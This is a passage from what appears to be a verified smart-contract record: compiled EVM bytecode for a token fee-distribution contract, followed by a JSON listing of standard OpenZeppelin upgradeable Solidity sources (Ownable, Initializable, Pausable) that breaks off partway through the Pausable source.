9831681179093556040519116917fd00cc5a8189e6650ae02d7f52d209c29732ed484b8e55577b96767de25c0ae9a916119a6918491614fb9565b612680612b55565b60ce80546001600160a01b0319166001600160a01b0392909216919091179055565b6126aa612d8a565b6120aa83838080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525033925085915061335c9050565b6126f2612b55565b60de80546001600160a01b03198082166001600160a01b0386811691821790945560dd80549283168686161790556040519284169391909116917fd82b4298ed526fb373b7d78beea021779079a1a4b27e5b46c4241e4115758c499161275a91859190614fb9565b60405180910390a160dd546040517f2cdef2dbe9dd5da2b962e95a6f96fffd5da74e39742c07e985b383a4bf95c433916125c99184916001600160a01b031690614fb9565b600054610100900460ff16158080156127bf5750600054600160ff909116105b806127d95750303b1580156127d9575060005460ff166001145b6127f55760405162461bcd60e51b8152600401610dab90614ec0565b6000805460ff191660011790558015612818576000805461ff0019166101001790555b612826878787878787610d55565b6303b53800610110558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb384740249890602001610e8f565b612879612b55565b6001600160a01b0381166128de5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dab565b6128e781613ab7565b50565b6128f2612b55565b612710811115612915576040516358d620b360e01b815260040160405180910390fd5b60d955565b306001600160a01b031663635202746040518163ffffffff1660e01b8152600401602060405180830381865afa158015612958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061297c9190614e2b565b60000361299c57604051630da1ec0160e31b815260040160405180910390fd5b60db54158015906129b6575060dc546001600160a01b0316155b806129ca575060dd546001600160a01b0316155b156129e857604051630ad13b3360e21b815260040160405180910390fd5b60d254604051600162525fcd60e11b0319815260009182916001600160a01b039091169063ff5b406690612a249030908890889060040161520b565b6000604051808303816000875af1158015612a43573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612a6b919081019061529f565b91509150600061271060db5484612a8291906152e5565b612a8c9190615312565b60dc5460ca54919250612aac916001600160a01b039081169116836132ff565b600061271060da5485612abf91906152e5565b612ac99190615312565b60ca54909150612ae3906001600160a01b031633836132ff565b600081612af0848761513b565b612afa919061513b565b60dd5460ca54919250612b1a916001600160a01b039081169116836132ff565b7f3dceb43957dc72b04d40eaf449ac8b867ea8d60ed7d860e9ba977921ab89b46685888887878787604051610e8f9796959493929190615326565b6033546001600160a01b03163314611af75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dab565b801580612c285750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90612be59030908690600401614fb9565b602060405180830381865afa158015612c02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c269190614e2b565b155b612c935760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610dab565b6120aa8363095ea7b360e01b8484604051602401612cb292919061502e565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152614204565b6000611a2461011054426120269190615073565b600054610100900460ff16612d245760405162461bcd60e51b8152600401610dab90615397565b611af76142d6565b600054610100900460ff16612d535760405162461bcd60e51b8152600401610dab90615397565b611af7614306565b600054610100900460ff16612d825760405162461bcd60e51b8152600401610dab90615397565b611af761432d565b60975460ff1615611af75760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610dab565b6001600160a01b038216600090815260d56020526040902081158015612e05575060d0546004820154612e03904261513b565b105b15612e0f57505050565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190612e4090309060040161487d565b602060405180830381865afa158015612e5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e819190614e2b565b90504282600401819055506000846001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa158015612ecc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612ef4919081019061517d565b9050600081516001600160401b03811115612f1157612f11614928565b604051908082528060200260200182016040528015612f3a578160200160208202803683370190505b50905060005b82518110156130755760006001600160a01b0316838281518110612f6657612f66615047565b60200260200101516001600160a01b031603612fc05760ca5483516001600160a01b0390911690849083908110612f9f57612f9f615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b828181518110612fd257612fd2615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401613005919061487d565b602060405180830381865afa158015613022573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130469190614e2b565b82828151811061305857613058615047565b60209081029190910101528061306d8161514e565b915050612f40565b50604051639262187b60e01b81526001600160a01b03871690639262187b906130a290309060040161487d565b6000604051808303816000875af11580156130c1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526130e991908101906153e2565b5060005b82518110156132735760006001600160a01b031683828151811061311357613113615047565b60200260200101516001600160a01b03160361316d5760ca5483516001600160a01b039091169084908390811061314c5761314c615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b600083828151811061318157613181615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016131b4919061487d565b602060405180830381865afa1580156131d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131f59190614e2b565b9050600083838151811061320b5761320b615047565b60200260200101518261321e919061513b565b905080801561325d5761325d8a87868151811061323d5761323d615047565b602090810291909101015160018b01546001600160a01b03168585613b09565b505050808061326b9061514e565b9150506130ed565b5060c9546040516370a0823160e01b815260009185916001600160a01b03909116906370a08231906132a990309060040161487d565b602060405180830381865afa1580156132c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132ea9190614e2b565b6132f4919061513b565b9050610e9881613f90565b6120aa8363a9059cbb60e01b8484604051602401612cb292919061502e565b6040516001600160a01b03808516602483015283166044820152606481018290526133569085906323b872dd60e01b90608401612cb2565b50505050565b60c9546040516370a0823160e01b815260009182916001600160a01b03909116906370a082319061339190309060040161487d565b602060405180830381865afa1580156133ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133d29190614e2b565b905060005b85518110156138d65760d560008783815181106133f6576133f6615047565b6020908102919091018101516001600160a01b031682528101919091526040016000206005015460ff1661343d57604051636a325bd960e11b815260040160405180910390fd5b600060d5600088848151811061345557613455615047565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000209050428160040181905550600087838151811061349c5761349c615047565b60200260200101516001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa1580156134e1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613509919081019061517d565b9050600081516001600160401b0381111561352657613526614928565b60405190808252806020026020018201604052801561354f578160200160208202803683370190505b50905060005b825181101561368a5760006001600160a01b031683828151811061357b5761357b615047565b60200260200101516001600160a01b0316036135d55760ca5483516001600160a01b03909116908490839081106135b4576135b4615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b8281815181106135e7576135e7615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161361a919061487d565b602060405180830381865afa158015613637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061365b9190614e2b565b82828151811061366d5761366d615047565b6020908102919091010152806136828161514e565b915050613555565b5088848151811061369d5761369d615047565b60200260200101516001600160a01b0316639262187b306040518263ffffffff1660e01b81526004016136d0919061487d565b6000604051808303816000875af11580156136ef573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261371791908101906153e2565b5060005b82518110156138bf57600083828151811061373857613738615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161376b919061487d565b602060405180830381865afa158015613788573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137ac9190614e2b565b905060008383815181106137c2576137c2615047565b6020026020010151826137d5919061513b565b90508060008181036137ea57505050506138ad565b60c95487516001600160a01b039091169088908790811061380d5761380d615047565b60200260200101516001600160a01b03160361384d5761271060e1548461383491906152e5565b61383e9190615312565b905061384a818461513b565b91505b613857818c615073565b9a506138a88e8a8151811061386e5761386e615047565b602002602001015188878151811061388857613888615047565b602090810291909101015160018b01546001600160a01b03168686613b09565b505050505b806138b78161514e565b91505061371b565b5050505080806138ce9061514e565b9150506133d7565b5060c9546040516370a0823160e01b8152600091849184916001600160a01b0316906370a082319061390c90309060040161487d565b602060405180830381865afa158015613929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061394d9190614e2b565b613957919061513b565b613961919061513b565b905061396c81613f90565b82156117f75760c95460e05460405163095ea7b360e01b81526001600160a01b039283169263095ea7b3926139a892911690879060040161502e565b6020604051808303816000875af11580156139c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139eb9190615416565b5060e05460c95460405163187179c960e11b81526001600160a01b039182166004820152602481018690526044810187905287821660648201529116906330e2f39290608401600060405180830381600087803b158015613a4b57600080fd5b505af1158015613a5f573d6000803e3d6000fd5b50505050505050505050565b613a73614360565b6097805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b604051613aad919061487d565b60405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8015613f895760c9546001600160a01b0390811690851603613ccc5760005b60d854811015613cc657600060d88281548110613b4757613b47615047565b906000526020600020906002020190508060010160169054906101000a900460ff1615613cb357805460009061271090613b8190876152e5565b613b8b9190615312565b9050613b97818561513b565b60018301549094508190600160a01b900460ff16613c77576001830154600160a81b900460ff16613c5b576001830154613bde906001600160a01b038a8116911683612baf565b60018301546040516347e7a41160e11b81526001600160a01b0390911690638fcf482290613c129084908c90600401615433565b6020604051808303816000875af1158015613c31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c559190615416565b50613c77565b6001830154613c77906001600160a01b038a81169116836132ff565b600183015460405160008051602061555f83398151915291613ca8918c916001600160a01b0316908c90869061544a565b60405180910390a150505b5080613cbe8161514e565b915050613b28565b50613ecb565b600060d954118015613ce8575060de546001600160a01b031615155b15613ecb5760de5460405163d42ac64360e01b81526000916001600160a01b03169063d42ac64390613d1e90899060040161487d565b602060405180830381865afa158015613d3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d5f9190614e2b565b60de546040516315895f4760e31b8152600481018390529192506001600160a01b03169063ac4afa3890602401606060405180830381865afa158015613da9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613dcd9190615474565b6020015115613ec957600061271060d95485613de991906152e5565b613df39190615312565b9050613dff818461513b565b60de54909350613e1c906001600160a01b03888116911683612baf565b60de546040516317be9a5d60e31b815260016004820152602481018490526001600160a01b038881166044830152606482018490529091169063bdf4d2e890608401600060405180830381600087803b158015613e7857600080fd5b505af1158015613e8c573d6000803e3d6000fd5b505060de5460405160008051602061555f8339815191529350613ebf92508a916001600160a01b0316908a90869061544a565b60405180910390a1505b505b613ee06001600160a01b038516846000612baf565b613ef46001600160a01b0385168483612baf565b6040516347e7a41160e11b81526001600160a01b03841690638fcf482290613f229084908890600401615433565b6020604051808303816000875af1158015613f41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f659190615416565b5060008051602061555f833981519152858486846040516116bf949392919061544a565b5050505050565b60008082156120aa57613fa2836143a9565b905060005b60d85481101561402657600060d88281548110613fc657613fc6615047565b906000526020600020906002020190508060010160169054906101000a900460ff168015613fff57506001810154600160a01b900460ff165b156140135780546140109085615073565b93505b508061401e8161514e565b915050613fa7565b5060005b60d85481101561335657600060d8828154811061404957614049615047565b906000526020600020906002020190508060010160169054906101000a900460ff16801561408257506001810154600160a01b900460ff165b1561419a57600061271085612710846000015461409f91906152e5565b6140a99190615312565b6140b390866152e5565b6140bd9190615312565b90508015614198576001820154600160a81b900460ff1661417957600182015460cc546140f7916001600160a01b03918216911683612baf565b600182015460cc546040516347e7a41160e11b81526001600160a01b0392831692638fcf48229261413092869290911690600401615433565b6020604051808303816000875af115801561414f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141739190615416565b50614198565b600182015460cc54614198916001600160a01b039182169116836132ff565b505b50806141a58161514e565b91505061402a565b600062093a806141bd81846154de565b610d259190615504565b6141cf612d8a565b6097805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258613aa03390565b6000614259826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166146579092919063ffffffff16565b8051909150156120aa57808060200190518101906142779190615416565b6120aa5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610dab565b600054610100900460ff166142fd5760405162461bcd60e51b8152600401610dab90615397565b611af733613ab7565b600054610100900460ff166118365760405162461bcd60e51b8152600401610dab90615397565b600054610100900460ff166143545760405162461bcd60e51b8152600401610dab90615397565b6097805460ff19169055565b60975460ff16611af75760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610dab565b60cc546040516370a0823160e01b815260009182916001600160a01b03909116906370a08231906143de90309060040161487d565b602060405180830381865afa1580156143fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061441f9190614e2b565b60df549091506001600160a01b0316156145495760df5460c954614450916001600160a01b03918216911685612baf565b60df54604051634e3c485160e11b815260048101859052600060248201526001600160a01b0390911690639c7890a2906044016020604051808303816000875af11580156144a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906144c69190614e2b565b5060cc546040516370a0823160e01b815282916001600160a01b0316906370a08231906144f790309060040161487d565b602060405180830381865afa158015614514573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906145389190614e2b565b614542919061513b565b9150614651565b60cb5460c954614566916001600160a01b03918216911685612baf565b60cb54604051633188639160e11b815230600482015260248101859052600060448201526001600160a01b0390911690636310c72290606401600060405180830381600087803b1580156145b957600080fd5b505af11580156145cd573d6000803e3d6000fd5b505060cc546040516370a0823160e01b81528493506001600160a01b0390911691506370a082319061460390309060040161487d565b602060405180830381865afa158015614620573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906146449190614e2b565b61464e919061513b565b91505b50919050565b6060614666848460008561466e565b949350505050565b6060824710156146cf5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610dab565b6001600160a01b0385163b6147265760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610dab565b600080866001600160a01b03168587604051614742919061552f565b60006040518083038185875af1925050503d806000811461477f576040519150601f19603f3d011682016040523d82523d6000602084013e614784565b606091505b509150915061479482828661479f565b979650505050505050565b606083156147ae575081612441565b8251156147be5782518084602001fd5b8160405162461bcd60e51b8152600401610dab919061554b565b60008083601f8401126147ea57600080fd5b5081356001600160401b0381111561480157600080fd5b6020830191508360208260051b850101111561481c57600080fd5b9250929050565b6000806020838503121561483657600080fd5b82356001600160401b0381111561484c57600080fd5b614858858286016147d8565b90969095509350505050565b60006020828403121561487657600080fd5b5035919050565b6001600160a01b0391909116815260200190565b6001600160a01b03811681146128e757600080fd5b60008060008060008060c087890312156148bf57600080fd5b86356148ca81614891565b955060208701356148da81614891565b945060408701356148ea81614891565b935060608701356148fa81614891565b9250608087013561490a81614891565b915060a087013561491a81614891565b809150509295509295509295565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b038111828210171561496657614966614928565b604052919050565b600082601f83011261497f57600080fd5b81356001600160401b0381111561499857614998614928565b6149ab601f8201601f191660200161493e565b8181528460208386010111156149c057600080fd5b816020850160208301376000918101602001919091529392505050565b600080600080608085870312156149f357600080fd5b84356149fe81614891565b93506020850135925060408501356001600160401b0380821115614a2157600080fd5b614a2d8883890161496e565b93506060870135915080821115614a4357600080fd5b50614a508782880161496e565b91505092959194509250565b600060208284031215614a6e57600080fd5b813561244181614891565b600080600060608486031215614a8e57600080fd5b8335614a9981614891565b92506020840135614aa981614891565b929592945050506040919091013590565b60008060008060808587031215614ad057600080fd5b8435614adb81614891565b93506020850135614aeb81614891565b92506040850135614afb81614891565b9396929550929360600135925050565b60008060408385031215614b1e57600080fd5b8235614b2981614891565b91506020830135614b3981614891565b809150509250929050565b600080600080600060a08688031215614b5c57600080fd5b8535614b6781614891565b94506020860135935060408601359250606086013591506080860135614b8c81614891565b809150509295509295909350565b60008060008060408587031215614bb057600080fd5b84356001600160401b0380821115614bc757600080fd5b614bd3888389016147d8565b90965094506020870135915080821115614bec57600080fd5b50614bf9878288016147d8565b95989497509550505050565b60006001600160401b03821115614c1e57614c1e614928565b5060051b60200190565b60008060408385031215614c3b57600080fd5b8235614c4681614891565b91506020838101356001600160401b03811115614c6257600080fd5b8401601f81018613614c7357600080fd5b8035614c86614c8182614c05565b61493e565b81815260059190911b82018301908381019088831115614ca557600080fd5b928401925b82841015614cc357833582529284019290840190614caa565b80955050505050509250929050565b80151581146128e757600080fd5b60008060008060008060c08789031215614cf957600080fd5b86359550602087013594506040870135614d1281614891565b93506060870135614d2281614cd2565b92506080870135614d3281614cd2565b915060a087013561491a81614cd2565b600080600060408486031215614d5757600080fd5b8335925060208401356001600160401b03811115614d7457600080fd5b614d80868287016147d8565b9497909650939450505050565b60008060008060808587031215614da357600080fd5b843593506020850135614db581614891565b92506040850135614dc581614cd2565b91506060850135614dd581614cd2565b939692955090935050565b600080600060408486031215614df557600080fd5b83356001600160401b03811115614e0b57600080fd5b614e17868287016147d8565b909790965060209590950135949350505050565b600060208284031215614e3d57600080fd5b5051919050565b6001600160801b03858116825284166020820152606060408201819052810182905260006001600160fb1b03831115614e7c57600080fd5b8260051b808560808501379190910160800195945050505050565b600060208284031215614ea957600080fd5b81516001600160801b038116811461244157600080fd5b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b60005b83811015614f29578181015183820152602001614f11565b50506000910152565b60008151808452614f4a816020860160208601614f0e565b601f01601f19169290920160200192915050565b6001600160a01b03858116825284166020820152608060408201819052600090614f8a90830185614f32565b82810360608401526147948185614f32565b600060208284031215614fae57600080fd5b815161244181614891565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152901515604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6001600160a01b03929092168252602082015260400190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610d2557610d2561505d565b8183526000602080850194508260005b858110156150c45781356150a981614891565b6001600160a01b031687529582019590820190600101615096565b509495945050505050565b6040815260006150e3604083018688615086565b828103602084810191909152848252859181016000805b8781101561512c5784356001600160401b038116808214615119578384fd5b84525093830193918301916001016150fa565b50909998505050505050505050565b81810381811115610d2557610d2561505d565b6000600182016151605761516061505d565b5060010190565b634e487b7160e01b600052603160045260246000fd5b6000602080838503121561519057600080fd5b82516001600160401b038111156151a657600080fd5b8301601f810185136151b757600080fd5b80516151c5614c8182614c05565b81815260059190911b820183019083810190878311156151e457600080fd5b928401925b828410156147945783516151fc81614891565b825292840192908401906151e9565b6001600160a01b03841681526040602082018190526000906152309083018486615086565b95945050505050565b600082601f83011261524a57600080fd5b8151602061525a614c8183614c05565b82815260059290921b8401810191818101908684111561527957600080fd5b8286015b84811015615294578051835291830191830161527d565b509695505050505050565b600080604083850312156152b257600080fd5b8251915060208301516001600160401b038111156152cf57600080fd5b6152db85828601615239565b9150509250929050565b8082028115828204841417610d2557610d2561505d565b634e487b7160e01b600052601260045260246000fd5b600082615321576153216152fc565b500490565b8781526000602060c08184015261534160c08401898b615086565b838103604085015287518082528289019183019060005b8181101561537457835183529284019291840191600101615358565b50506060850197909752505050608081019290925260a090910152949350505050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b6000602082840312156153f457600080fd5b81516001600160401b0381111561540a57600080fd5b61466684828501615239565b60006020828403121561542857600080fd5b815161244181614cd2565b9182526001600160a01b0316602082015260400190565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b60006060828403121561548657600080fd5b604051606081018181106001600160401b03821117156154a8576154a8614928565b60405282516154b681614891565b815260208301516154c681614cd2565b60208201526040928301519281019290925250919050565b60006001600160801b03838116806154f8576154f86152fc565b92169190910492915050565b6001600160801b038181168382160280821691908281146155275761552761505d565b505092915050565b60008251615541818460208701614f0e565b9190910192915050565b6020815260006124416020830184614f3256fe1d323f65a8226244cebc68e250fb7eef6eb01d6adf48b72e75a032af0716eb00a26469706673582212208f39581346ffa96f4ea781b758c2158add351ceebcd1c6915bf65a395debff2f64736f6c63430008130033 | {{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n function __Ownable_init() internal onlyInitializing {\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal onlyInitializing {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts. Equivalent to `reinitializer(1)`.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * `initializer` is equivalent to `reinitializer(1)`, so a reinitializer may be used after the original\n * initialization step. This is essential to configure modules that are added through upgrades and that require\n * initialization.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized < type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (security/Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which allows children to implement an emergency stop\n * mechanism that can be triggered by an authorized account.\n *\n * This module is used through inheritance. It will make available the\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\n * the functions of your contract. Note that they will not be pausable by\n * simply including this module, only once the modifiers are put in place.\n */\nabstract contract PausableUpgradeable is Initializable, ContextUpgradeable {\n /**\n * @dev Emitted when the pause is triggered by `account`.\n */\n event Paused(address account);\n\n /**\n * @dev Emitted when the pause is lifted by `account`.\n */\n event Unpaused(address account);\n\n bool private _paused;\n\n /**\n * @dev Initializes the contract in unpaused state.\n */\n function __Pausable_init() internal onlyInitializing {\n __Pausable_init_unchained();\n }\n\n function __Pausable_init_unchained() internal onlyInitializing {\n _paused = false;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is not paused.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n modifier whenNotPaused() {\n _requireNotPaused();\n _;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is paused.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n modifier whenPaused() {\n _requirePaused();\n _;\n }\n\n /**\n * @dev Returns true if the contract is paused, and false otherwise.\n */\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n /**\n * @dev Throws if the contract is paused.\n */\n function _requireNotPaused() internal view virtual {\n require(!paused(), \"Pausable: paused\");\n }\n\n /**\n * @dev Throws if the contract is not paused.\n */\n function _requirePaused() internal view virtual {\n require(paused(), \"Pausable: not paused\");\n }\n\n /**\n * @dev Triggers stopped state.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n emit Paused(_msgSender());\n }\n\n /**\n * @dev Returns to normal state.\n *\n * 